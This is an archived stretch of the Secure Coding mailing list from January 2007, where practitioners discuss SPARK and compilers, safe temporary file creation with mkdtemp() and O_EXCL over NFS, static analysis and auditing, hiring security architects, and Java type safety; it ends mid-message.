From peter.amey at praxis-his.com  Tue Jan  2 09:18:15 2007
From: peter.amey at praxis-his.com (Peter Amey)
Date: Tue, 2 Jan 2007 14:18:15 -0000
Subject: [SC-L] Compilers
Message-ID: <4BF0455B353E524FBEA15C3A490F7DFE8C31EF@EVS01.praxis.local>



[snip]

> Isn't the whole basis of Spark a matter of adding proof 
> statements in the comments ?  I don't think the general 
> compiler marketplace would go for that built-in to compilers. 
>  After all:
> 
> 	1. The Praxis implementation can be used with multiple compilers
> 
> 	2. The compiler market is so immature that some people are still
> 	   using C, C++ and Java.
> 
> But for the high-integrity market, Spark seems to fit the bill.
> --
> Larry Kilgallen

We think so!  However, like everything else, it is how you use things
that matter most.  What SPARK allows is very effective secure coding
(what this list is all about).  There is an entry on this subject on the
Build Security In website:
https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/sdlc/61
3.html.

regards

Peter


From ljknews at mac.com  Tue Jan  2 09:20:12 2007
From: ljknews at mac.com (ljknews)
Date: Tue, 2 Jan 2007 09:20:12 -0500
Subject: [SC-L] Compilers
In-Reply-To: <4BF0455B353E524FBEA15C3A490F7DFE8C31EF@EVS01.praxis.local>
References: <4BF0455B353E524FBEA15C3A490F7DFE8C31EF@EVS01.praxis.local>
Message-ID: <p05200f00c1c019a8de12@[192.168.1.254]>

At 2:18 PM +0000 1/2/07, Peter Amey wrote:
> [snip]
> 
>> Isn't the whole basis of Spark a matter of adding proof 
>> statements in the comments ?  I don't think the general 
>> compiler marketplace would go for that built-in to compilers. 
>>  After all:
>> 
>> 	1. The Praxis implementation can be used with multiple compilers
>> 
>> 	2. The compiler market is so immature that some people are still
>> 	   using C, C++ and Java.
>> 
>> But for the high-integrity market, Spark seems to fit the bill.
>> --
>> Larry Kilgallen
> 
> We think so!  However, like everything else, it is how you use things
> that matter most.

How you use things may be an "essential" aspect, but so is the nature
of "things".  Achieving the same quality by toggling the machine code
into the front panel is only possible on a theoretical basis, and getting
the same results with a long strand of limp spaghetti is just impossible.
-- 
Larry Kilgallen

From wietse at porcupine.org  Tue Jan  2 10:02:24 2007
From: wietse at porcupine.org (Wietse Venema)
Date: Tue, 2 Jan 2007 10:02:24 -0500 (EST)
Subject: [SC-L] temporary directories
In-Reply-To: <87tzzd749x.fsf@mid.deneb.enyo.de> "from Florian Weimer at Dec 30,
	2006 05:11:06 pm"
Message-ID: <20070102150224.334F5BC093@spike.porcupine.org>

Florian Weimer:
> > I gather you are saying that the innards of Unix will force creation
> > of an unwanted directory entry on the Ada implementation of the required
> > null name support for <packagename>.CREATE .  The Ada implementation
> > could rely on exclusive access to the file (surely Unix has that, right?)
> 
> You can create files in a way that fails if the file already exists,
> using the O_EXCL flag.  (Rumors have it that this won't work reliably
> over NFS, though, but I don't see why.)

With NFS over UDP under heavy load, operations can succeed and
return an error result anyway. When the server's reply is lost,
the client retransmits the request.  That is no problem with
idempotent operations such as read or write that can be repeated
an arbitrary number of times without changing the state of files.

However, with non-idempotent operations such as mkdir, create,
link, remove or rename, a retransmitted operation will fail (file
exists, file not found). To remedy these false errors, the server
maintains a cache of recent RPC replies to skip repeated operations;
this RPC reply cache is finite and non-persistent across reboot.

Application programmers can program around many but not all of
these false errors. In particular there is no workaround for false
failure of open(..O_CREAT|O_EXCL..).

With the deployment of NFS over TCP these errors are less likely 
to happen.

	Wietse

From James.McGovern at thehartford.com  Tue Jan  2 10:21:08 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 2 Jan 2007 10:21:08 -0500
Subject: [SC-L] Compilers
In-Reply-To: <EAD5C58F27640B429D87C4663AFE3535011239A2@IMCSRV1.MITRE.ORG>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA1A3@AD1HFDEXC309.ad1.prod>

I think my perspective is not just about overlap in terms of an abstract syntax tree but more in terms of usability. Security warnings should appear inline with other types of warnings from a developers perspective. When the information is presented separately, it will be an opportunity to ignore. It is harder to ignore compiler output.
 
Likewise, one of the lifecycle oriented things I have seen in several shops is that source code gets moved through environments and gets recompiled. So if I check in code to the integration environment, the build "tool" will extract and compile. Likewise, when code gets promoted to say QA environment, the code is extracted again and recompiled. This allows for build tools that emit metrics and track warnings in a centralized place to take advantage of security considerations as well.
 
Of course, some shops when they promote code move binaries which invalidates the above.

-----Original Message-----
From: Temin, Aaron L. [mailto:atemin at mitre.org]
Sent: Thursday, December 21, 2006 1:38 PM
To: McGovern, James F (HTSC, IT); Secure Coding
Subject: RE: [SC-L] Compilers


It would be worth knowing more about the basis you use for drawing the conclusion, but if it's just the overlap between compilers and static analyzers represented by the abstract syntax tree, I don't think that's enough to warrant building one into the other (it might argue for having a shared parser, but I don't think parsers are hard enough to build to make that worthwhile).  I would also suggest that looking for security weaknesses fits more into the unit testing part of development rather than the compiling part.  As for "standalone," I think Jtest is built as an Eclipse plug-in; I don't know if you'd consider that standalone or not, but at least the developer doens't have to start up another shell to run it.
 
Also, depending on the customer's organization, it might not be the developer who is running the security static analysis.  I was talking with an organization that was thinking of having the security group run the static analysis, as part of the acceptance phase of an iteration.
 
- Aaron


  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of McGovern, James F (HTSC, IT)
Sent: Thursday, December 21, 2006 10:31 AM
To: Secure Coding
Subject: [SC-L] Compilers


I have been noodling the problem space of secure coding after attending a wonderful class taught by Ken Van Wyk. I have been casually checking out Fortify, Ounce Labs, etc and have a thought that this stuff should really be part of the compiler and not a standalone product. Understanding that folks do start companies to make up deficiencies in what large vendors ignore, how far off base in my thinking am I?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information. If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited. If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070102/82c91a16/attachment.html 

From James.McGovern at thehartford.com  Tue Jan  2 09:46:20 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 2 Jan 2007 09:46:20 -0500
Subject: [SC-L] Building Security In vs Auditing
In-Reply-To: <45941379.6000103@ida.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB4602790F77@AD1HFDEXC309.ad1.prod>

I read a recent press release in which a security vendor (names removed to both protect the innocent along with the fact that it doesn't matter for this discussion ) partnered with a prominent outsourcing firm. The press release was carefully worded but if you read into what wasn't said, it was in my opinion encouraging something that folks here tend to fight against. The outsourcing firm would use this tool in an auditing capacity for whatever client asked for another service but it would not become part of the general software development lifecycle for all projects. 

- It didn't mention any notion of all developers within the outsourcing firm having tools on their desktop to audit as they develop

- It didn't mention any notion of training all developers within the outsourcing firm on secure coding practices

- It did hint that one time periodic audits from a metrics perspective would be useful to clients that wanted this new service but didn't say how developers would be able to iterate on the code and reduce bugs. I would think that any offering that removes developers from the feedback loop while developing code and instead focusing on management-oriented (non-developer metrics) is generally a bad idea.

- It didn't mention even how many folks from their security practice were to receive training in secure coding practices

- Should we think of security as an extra "service" or something that should be incorporated into the SDLC in a consistent sustainable manner?


I am far offbase and drunk too much of Ken Van Wyk's Kool-aid from his wonderful training course by thinking that this type of initiative does more harm than good?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From peter.amey at praxis-his.com  Tue Jan  2 13:29:44 2007
From: peter.amey at praxis-his.com (Peter Amey)
Date: Tue, 2 Jan 2007 18:29:44 -0000
Subject: [SC-L] Compilers
Message-ID: <4BF0455B353E524FBEA15C3A490F7DFE8C32D6@EVS01.praxis.local>


> -----Original Message-----
> From: sc-l-bounces at securecoding.org 
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of ljknews
> Sent: 02 January 2007 14:20
> To: Secure Coding
> Subject: Re: [SC-L] Compilers
> 
> At 2:18 PM +0000 1/2/07, Peter Amey wrote:
> > [snip]
> > 
> > 
> > We think so!  However, like everything else, it is how you 
> use things 
> > that matter most.
> 
> How you use things may be an "essential" aspect, but so is 
> the nature of "things".  Achieving the same quality by 
> toggling the machine code into the front panel is only 
> possible on a theoretical basis, and getting the same results 
> with a long strand of limp spaghetti is just impossible.

Larry,

I don't think I was intending to disagree with you!  The right languages
/allow/ demonstrable secure coding.  Conversely, without them, secure
coding is reduced to a fairly weak coding standard level.  

Peter

P.S.  Please watch for the unfortunate word wrap in the URL of my
original post.  The broken link still works but goes to thw wrong place!



From ljknews at mac.com  Tue Jan  2 13:17:16 2007
From: ljknews at mac.com (ljknews)
Date: Tue, 2 Jan 2007 13:17:16 -0500
Subject: [SC-L] Building Security In vs Auditing
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4602790F77@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB4602790F77@AD1HFDEXC309.ad1.prod>
Message-ID: <p05200f02c1c05023aaf5@[192.168.1.254]>

At 9:46 AM -0500 1/2/07, McGovern, James F (HTSC, IT) wrote:

> I read a recent press release in which a security vendor (names removed
> to both protect the innocent along with the fact that it doesn't matter
> for this discussion ) partnered with a prominent outsourcing firm. The
> press release was carefully worded but if you read into what wasn't said,
> it was in my opinion encouraging something that folks here tend to fight
> against. The outsourcing firm would use this tool in an auditing capacity
> for whatever client asked for another service but it would not become
> part of the general software development lifecycle for all projects. 
> 
> - It didn't mention any notion of all developers within the outsourcing
> firm having tools on their desktop to audit as they develop

>From the information supplied, it is not clear that the tool is something
appropriate for the development environment.  I develop a tool that could
be used in a (certain) development environment, but that would only tell
how the development environment was secured, having no effect on the degree
to which the outsourced code was secure.

> - It didn't mention any notion of training all developers within the
> outsourcing firm on secure coding practices

>From the information supplied, it is not clear that the security vendor
is one that would be involved in training anyone.  Limitations on a
joint press release (one that names another company) are subject to
severe negotiations.  Even if the security firm _was_ going to do what
you suggest, I can see a PR flack at the outsourcing firm resisting any
public suggestion that any of their staff needed further training on any
aspect of data processing.
-- 
Larry Kilgallen

From gem at cigital.com  Tue Jan  2 13:35:10 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 2 Jan 2007 13:35:10 -0500
Subject: [SC-L] Building Security In vs Auditing
Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7E8305@va-mail.cigital.com>

Hi all,

Very good questions.  

I think a service like the one you describe would be useful mostly as a way of identifying the depth of the problem.  Simply wielding a tool as a consultant does nothing to train the guys creating bugs not to do so in the future...and so the market will correct that over time in an efficient way.  But the fact remains that many potential customers and users of static analysis tools have no idea how much of a mess they have.  An outsourcing approach could help with that.  They'll find out they need em.

I believe so strongly in the "do anything to get started" thing that I also endorse the use of (really amazingly silly) application security testing tools.  I call these badnessometers (see chapter 1 of "software security"...and ken's slides for that matter).  But knowing that your web code sucks is better than remaining completely clueless.

In the end, tool integration *into dev* is the key to success with static analysis.  Many of our customers are having huge enterprise-wide success because they are learning to use, feed, tune, and train dev about these tools.  The best are recycling the things they learn about their code back into training (and into better rules to enforce).

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com.


 -----Original Message-----
From: 	McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com]
Sent:	Tue Jan 02 12:23:50 2007
To:	sc-l at securecoding.org
Subject:	[SC-L] Building Security In vs Auditing

I read a recent press release in which a security vendor (names removed to both protect the innocent along with the fact that it doesn't matter for this discussion ) partnered with a prominent outsourcing firm. The press release was carefully worded but if you read into what wasn't said, it was in my opinion encouraging something that folks here tend to fight against. The outsourcing firm would use this tool in an auditing capacity for whatever client asked for another service but it would not become part of the general software development lifecycle for all projects. 

- It didn't mention any notion of all developers within the outsourcing firm having tools on their desktop to audit as they develop

- It didn't mention any notion of training all developers within the outsourcing firm on secure coding practices

- It did hint that one time periodic audits from a metrics perspective would be useful to clients that wanted this new service but didn't say how developers would be able to iterate on the code and reduce bugs. I would think that any offering that removes developers from the feedback loop while developing code and instead focusing on management-oriented (non-developer metrics) is generally a bad idea.

- It didn't mention even how many folks from their security practice were to receive training in secure coding practices

- Should we think of security as an extra "service" or something that should be incorporated into the SDLC in a consistent sustainable manner?


I am far offbase and drunk too much of Ken Van Wyk's Kool-aid from his wonderful training course by thinking that this type of initiative does more harm than good?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From leichter_jerrold at emc.com  Tue Jan  2 17:39:49 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Tue, 2 Jan 2007 17:39:49 -0500 (EST)
Subject: [SC-L] Compilers
In-Reply-To: <4BF0455B353E524FBEA15C3A490F7DFE8C32D6@EVS01.praxis.local>
References: <4BF0455B353E524FBEA15C3A490F7DFE8C32D6@EVS01.praxis.local>
Message-ID: <Pine.SOL.4.61.0701021738001.12090@mental>

| ...P.S.  Please watch for the unfortunate word wrap in the URL of my
| original post.  The broken link still works but goes to thw wrong place!
Now, *there's* an interesting hazard!  One can imagine some interesting
scenarios where this could be more than "unfortunate".  At the least,
it could be (yet another) way to hide the true target of a link.

							-- Jerry


From dwheeler at ida.org  Wed Jan  3 10:51:25 2007
From: dwheeler at ida.org (David A. Wheeler)
Date: Wed, 03 Jan 2007 10:51:25 -0500
Subject: [SC-L] temporary directories
In-Reply-To: <mailman.83.1167475978.18586.sc-l@securecoding.org>
References: <mailman.83.1167475978.18586.sc-l@securecoding.org>
Message-ID: <459BD0FD.40006@ida.org>

"Robert C. Seacord" <rcs at cert.org> wrote:
> I've seen advice here and there to use the mkdtemp() function to create
> temporary directories, for example:
...
> - David Wheeler's Secure Programming for Linux and Unix HOWTO at
> http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO.html
> mentions it may not be a good idea if tmp cleaners are in use (but this
> sort of suggests maybe it is ok if they are not.)

(I also mention later on that there are issues with NFS.  But anyway...)

> The mkdtemp() function generates a uniquely-named temporary directory
> from template.  This function appears to work exactly like mktemp()
> works for files, except of course mktemp() has been widely discredited
> because of possible TOCTOU conditions and problems generating unique,
> unpredictable names.
> 
> So my question is, why is mkdtemp() considered safe?  Isn't it also
> susceptible to race conditions?  Is there a reason why these race
> conditions are not at issue in this case?  Or is it only considered safe
> because there is no alternative?

mkdtemp() is safe from TOCTOU issues because the check-if-exists and
creation-of-object operations are atomic.
Under normal Unix/Linux semantics you can't create a directory
of a given name if the given name already exists.
(I guess there could be a kernel out there that gets this wrong,
but I don't know of any.)

open() is also safe if you use O_EXCL and O_CREAT, together, for
the same reason: it forces checking and creation to be atomic.
One problem is that many languages do NOT give you access directly
to open(), but are only implemented using C's "fopen()" call... and
fopen() has no standard way to implement exclusive creation.

I wish that the C standard body would update the C library and add
an "exclusive create" capability for fopen(), so that languages
that build on fopen() can do so.

This doesn't work on at least old versions of NFS reliably,
unfortunately.  I believe that's been fixed, but I have not
verified that.

--- David A. Wheeler



From rcs at cert.org  Wed Jan  3 14:33:43 2007
From: rcs at cert.org (Robert C. Seacord)
Date: Wed, 03 Jan 2007 09:33:43 -1000
Subject: [SC-L] temporary directories
In-Reply-To: <459BD0FD.40006@ida.org>
References: <mailman.83.1167475978.18586.sc-l@securecoding.org>
	<459BD0FD.40006@ida.org>
Message-ID: <459C0517.4020404@cert.org>

David,

Thanks for the explanation of mkdtemp().  I got confused reading the man
page because I wasn't expecting the function to return char *, but I
guess that makes sense.
> I wish that the C standard body would update the C library and add
> an "exclusive create" capability for fopen(), so that languages
> that build on fopen() can do so.
>   
Have you looked at TR 24731-1?  The latest revision is n119 at
http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1199.pdf

Section 6.5.2.1 defines the fopen_s function.  I am planning on
submitting a DR against this TR to add an exclusive create capability.

There are also some new tmpfile_s() and tmpnam_s() functions although I
have some issues with these as well.
> This doesn't work on at least old versions of NFS reliably,
> unfortunately.  I believe that's been fixed, but I have not
> verified that.
>   
I also believe that it was fixed (in Version 3).

rCs


From James.McGovern at thehartford.com  Wed Jan  3 18:15:19 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 3 Jan 2007 18:15:19 -0500
Subject: [SC-L] Hiring Security Architects
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA1E0@AD1HFDEXC309.ad1.prod>

We have had open job postings for security architects for a long time with zero hits and I would love to understand how other enterprises are hiring practitioners. Would love your thoughts on the following:

*	Are large enterprises sticking with consulting firms to gain expertise in implementing secure coding practices when they can't find full-time salaried individuals? 
*	Any thoughts on the capabilities of large consulting firms such as Accenture, Cognizant, DiamondCluster or TCS in terms of secure coding practices or is this still in the domain of "boutique" firms?
*	Has anyone ran across a job posting from any large Fortune 100 enterprise for a security architect / engineer that was particularly good that I should consider plaigarizing?
*	Maybe the miss is in terms of compensation. What should an enterprise expect to pay in the marketplace for someone truly knowledgable in secure coding practices?
*	If I wanted to get a college graduate and allow them to grow into this position, are their particular universities that have received generous donations of static code analysis software so as to "educate" a younger workforce? If not, what would it take for us to collectively "ask" some of the vendors in this space to do so?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070103/4e442e14/attachment.html 

From James.McGovern at thehartford.com  Wed Jan  3 18:25:45 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 3 Jan 2007 18:25:45 -0500
Subject: [SC-L] Building Security In vs Auditing
In-Reply-To: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7E8305@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA1E2@AD1HFDEXC309.ad1.prod>

Gary, I would love a little refinement of the benefits to badnessometers. Let's say I get a tool to tell me something I already suspect is wrong, what percentage of the population are better than they expected? The reason why I ask this question is that in our culture if I have a sense something is wrong, it usually isn't that difficult to find metrics as to why it is bad and therefore may have the perception of crying wolf as there are lots of bad things in all IT systems. Sometimes, going from good to great is a better approach than fixing bad and going to good.

Is it better to do such a badness test by doing a POC with one of the tool vendors in this space or do I get additional lift by going with a consulting firm in this regard (other than an opportunity to be smoozed regarding subsequent engagements and reused powerpoints and collateral from other gigs)?

What would it take to get some industry analyst coverage in this space? Lots of folks may be of the belief that it is a waste of time bothering but I would love to at least know if any of the firms here have at least made the effort.

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Tuesday, January 02, 2007 1:35 PM
To: McGovern, James F (HTSC, IT); sc-l at securecoding.org
Subject: RE: [SC-L] Building Security In vs Auditing


Hi all,

Very good questions.  

I think a service like the one you describe would be useful mostly as a way of identifying the depth of the problem.  Simply wielding a tool as a consultant does nothing to train the guys creating bugs not to do so in the future...and so the market will correct that over time in an efficient way.  But the fact remains that many potential customers and users of static analysis tools have no idea how much of a mess they have.  An outsourcing approach could help with that.  They'll find out they need em.

I believe so strongly in the "do anything to get started" thing that I also endorse the use of (really amazingly silly) application security testing tools.  I call these badnessometers (see chapter 1 of "software security"...and ken's slides for that matter).  But knowing that your web code sucks is better than remaining completely clueless.

In the end, tool integration *into dev* is the key to success with static analysis.  Many of our customers are having huge enterprise-wide success because they are learning to use, feed, tune, and train dev about these tools.  The best are recycling the things they learn about their code back into training (and into better rules to enforce).

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com.



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From ljknews at mac.com  Wed Jan  3 22:44:19 2007
From: ljknews at mac.com (ljknews)
Date: Wed, 3 Jan 2007 22:44:19 -0500
Subject: [SC-L] Hiring Security Architects
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA1E0@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB46019CA1E0@AD1HFDEXC309.ad1.prod>
Message-ID: <p05200f0dc1c227b009b2@[192.168.1.254]>

At 6:15 PM -0500 1/3/07, McGovern, James F (HTSC, IT) wrote:

> We have had open job postings for security architects for a long time
> with zero hits and I would love to understand how other enterprises are
> hiring practitioners.

You might consider consulting your tool vendor.  Praxis does work on
a consulting basis with Spark Inspector, but they might also have some
insights on where to find people who understand the methodology.

But if your goal is to prop up existing code, you might have a much
harder row to hoe.  Presuming a totally knowledgeable potential pool
of workers, they are going to know enough to avoid volunteering for
an assignment which is essentially "do the impossible".
-- 
Larry Kilgallen

From paco at cigital.com  Thu Jan  4 09:32:45 2007
From: paco at cigital.com (Paco Hope)
Date: Thu, 4 Jan 2007 09:32:45 -0500
Subject: [SC-L] Building Security In vs Auditing
Message-ID: <16B5EF53FB343546B0760F04BD44EA2DEC875C@va-mail.cigital.com>

> Gary, I would love a little refinement of the benefits to badnessometers.
> Let's say I get a tool to tell me something I already suspect is wrong,
> what percentage of the population are better than they expected?

I won't speak for Gary, but working a few doors down I have seen a few of the same things he has.

Occasionally developers internally run free tools and surrepetitiously fix problems that the tools find (this happens in some cultures where management is particularly antagonistic towards security as a first class concern). In those unusual instances, I could see the results of a badnessometer coming out better than expected. Management would perceive that such things had never been run, and would be pleasantly surprised to learn that the sky might not be falling. Other than that, few people run a tool for the first time and see results better than they expected. Tools codify all manner of stuff that your developers almost certainly do not know how to check for (and if they do, they probably don't have time).

> Is it better to do such a badness test by doing a POC with one of the
> tool vendors in this space or do I get additional lift by going with
> a consulting firm in this regard?

I'm a consultant, take that as implied bias. But, I think you do get lift, and here's my analogy. Consider yourself a handy guy around the house who is going to do something moderately complicated, like redo a whole bathroom. You can buy all the tools and read all the books on how to do it for a lot less money than hiring a contractor to do the whole thing.  There's some pretty specialized tools in plumbing, though, and they're tools you probably haven't used more than once or twice. Do you gain some extra insight into the use of those tools by hiring someone experienced to assist on the complicated parts? I think so. That someone experienced will come in, help you wield the unfamiliar tool, show you some things that he has experienced, and get you through the difficult parts. Then you, being the handy guy you are, are left to finish the bathroom, doing things you know how to do well.

I think this analogy holds with a lot of the tools in security. You learn a lot by getting the experience someone brings, assuming you get a good someone. We, for example, have run a bunch of tools on a lot of different code bases. We know which rules tend to be alarmist and which ones are really important if they fire. Tool vendors won't give you that objectivity on their own tool, and some of the sales engineers don't have the insight into their own tool to know which warnings are just noise and which warnings are a big deal. A consultant can help you have a bake-off between tools, whereas a tool vendor typically lacks that objectivity.

Paco



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From goertzel_karen at bah.com  Thu Jan  4 10:11:50 2007
From: goertzel_karen at bah.com (Goertzel, Karen)
Date: Thu, 4 Jan 2007 10:11:50 -0500
Subject: [SC-L] New year's resolutions
In-Reply-To: <W48901297477251167249599@webmail2>
Message-ID: <184D5FFC5203644FB4F8864B0EE445B40157C6F6@MCLNEXVS06.resource.ds.bah.com>

In case you hadn't seen what amounts to a mini-manifesto for 2007:

http://blog.wired.com/monkeybites/2007/01/new_years_resol.html

--
Karen Mercedes Goertzel, CISSP
Booz Allen Hamilton
703.902.6981
goertzel_karen at bah.com  


From crispin at novell.com  Thu Jan  4 15:24:58 2007
From: crispin at novell.com (Crispin Cowan)
Date: Thu, 04 Jan 2007 12:24:58 -0800
Subject: [SC-L] Compilers
In-Reply-To: <87hcvemhzu.fsf@mid.deneb.enyo.de>
References: <773F863A6009244B87E6E866AFC7DB46019CA177@AD1HFDEXC309.ad1.prod>	<p05200f12c1b06389fb82@[192.168.1.254]>
	<4590614F.5040108@novell.com> <87hcvemhzu.fsf@mid.deneb.enyo.de>
Message-ID: <459D629A.7020402@novell.com>

Florian Weimer wrote:
> * Crispin Cowan:
>   
>> ljknews wrote:
>>     
>>> 	2. The compiler market is so immature that some people are still
>>> 	   using C, C++ and Java.
>>>       
>> I'm with you on the C and C++ argument, but what is immature about Java?
>> I thought Java was a huge step forward, because for the first time, a
>> statically typesafe language was widely popular.
>>     
> Java is not statically typesafe, see the beloved ArrayStoreException
> (and other cases, depending what you mean by "statically typesafe").
>   
So every language that supports arrays is not statically type safe? How
else can a language guarantee array bounds checking without having to
resort to array bounds checking in cases where the indicies are
dynamically computed?

What language does better on array bounds typing? Back in the day,
classic Pascal had very static array types: an array of a specific size
was a type, and you could not mix them. So if you wanted to create a
procedure that processed an array of things, the type of the procedure
was bound to the *fixed* size of the list of things. Statically type
safe, but not very useful. And then you discover the hard way that the
generated code most often didn't even enforce array bounds checking :(

The Hermes programming language (fairly arcane, back in the early 1990s)
dodged this bullet by *not* supporting arrays. Instead it had
"collections": a pile of tuples that could be indexed by value of any
field(s) in the tuple you want. Essentially a relational table. You ask
the collection for an item with a matching field value, and it either
gives it to you, or it throws an exception.

So it seems to me that "record not found" is the bottom line in array
bounds checking. It is pretty fundamentally a dynamic error condition.
Static type checking cannot prove it will never happen, and so it will
always involve a dynamic check of some kind.

Crispin

-- 
Crispin Cowan, Ph.D.                      http://crispincowan.com/~crispin/
Director of Software Engineering, Novell  http://novell.com
     Hacking is exploiting the gap between "intent" and "implementation"



From fw at deneb.enyo.de  Thu Jan  4 16:45:38 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Thu, 04 Jan 2007 22:45:38 +0100
Subject: [SC-L] Compilers
In-Reply-To: <459D629A.7020402@novell.com> (Crispin Cowan's message of "Thu,
	04 Jan 2007 12:24:58 -0800")
References: <773F863A6009244B87E6E866AFC7DB46019CA177@AD1HFDEXC309.ad1.prod>
	<p05200f12c1b06389fb82@[192.168.1.254]> <4590614F.5040108@novell.com>
	<87hcvemhzu.fsf@mid.deneb.enyo.de> <459D629A.7020402@novell.com>
Message-ID: <87ps9uv531.fsf@mid.deneb.enyo.de>

* Crispin Cowan:

>>> I'm with you on the C and C++ argument, but what is immature about Java?
>>> I thought Java was a huge step forward, because for the first time, a
>>> statically typesafe language was widely popular.
>>>     
>> Java is not statically typesafe, see the beloved ArrayStoreException
>> (and other cases, depending what you mean by "statically typesafe").
>>   
> So every language that supports arrays is not statically type safe?

No, the Java case is a bit peculiar because of the array subtyping
rules.  If B extends A, a B[] is also an A[], but you cannot actually
store As into such an A[].  This is enforced by a run-time check
(which raises ArrayStoreException, which is not triggered by an
out-of-bounds array access), and I think it means that Java is not
statically typesafe by any reasonable definition (or, at least, its
arrays aren't).

> What language does better on array bounds typing?

This wasn't my point, but: There has been some work in this area
(particularly in respect dependent types), IIRC.  But such type
systems tend to be undecidable in general, and type inference is both
a must and pretty difficult.

I'm not sure if this is a significant issue as far as secure coding is
concerned because in many systems, you can restrict the code which
relies heavily on bounds checking (typically some sort of parser) to a
module, and if a failure occurs, you discard the PDU that trigger it.
The parser itself can be constructed using a statically verifiable
domain-specific language, or if the protocol is rather baroque, using
tools like SPARK, to minimize PDU drops due to coding errors.

And in the case of Java, null pointer exceptions seem to be a far
greater threat to reliability than array bounds checks.

From leichter_jerrold at emc.com  Thu Jan  4 17:28:03 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Thu, 4 Jan 2007 17:28:03 -0500 (EST)
Subject: [SC-L] Compilers
In-Reply-To: <459D629A.7020402@novell.com>
References: <773F863A6009244B87E6E866AFC7DB46019CA177@AD1HFDEXC309.ad1.prod>
	<p05200f12c1b06389fb82@[192.168.1.254]> <4590614F.5040108@novell.com>
	<87hcvemhzu.fsf@mid.deneb.enyo.de> <459D629A.7020402@novell.com>
Message-ID: <Pine.SOL.4.61.0701041628000.12399@mental>

| Florian Weimer wrote:
| > * Crispin Cowan:
| >   
| >> ljknews wrote:
| >>     
| >>> 	2. The compiler market is so immature that some people are still
| >>> 	   using C, C++ and Java.
| >>>       
| >> I'm with you on the C and C++ argument, but what is immature about Java?
| >> I thought Java was a huge step forward, because for the first time, a
| >> statically typesafe language was widely popular.
| >>     
| > Java is not statically typesafe, see the beloved ArrayStoreException
| > (and other cases, depending what you mean by "statically typesafe").
| >   
| So every language that supports arrays is not statically type safe? How
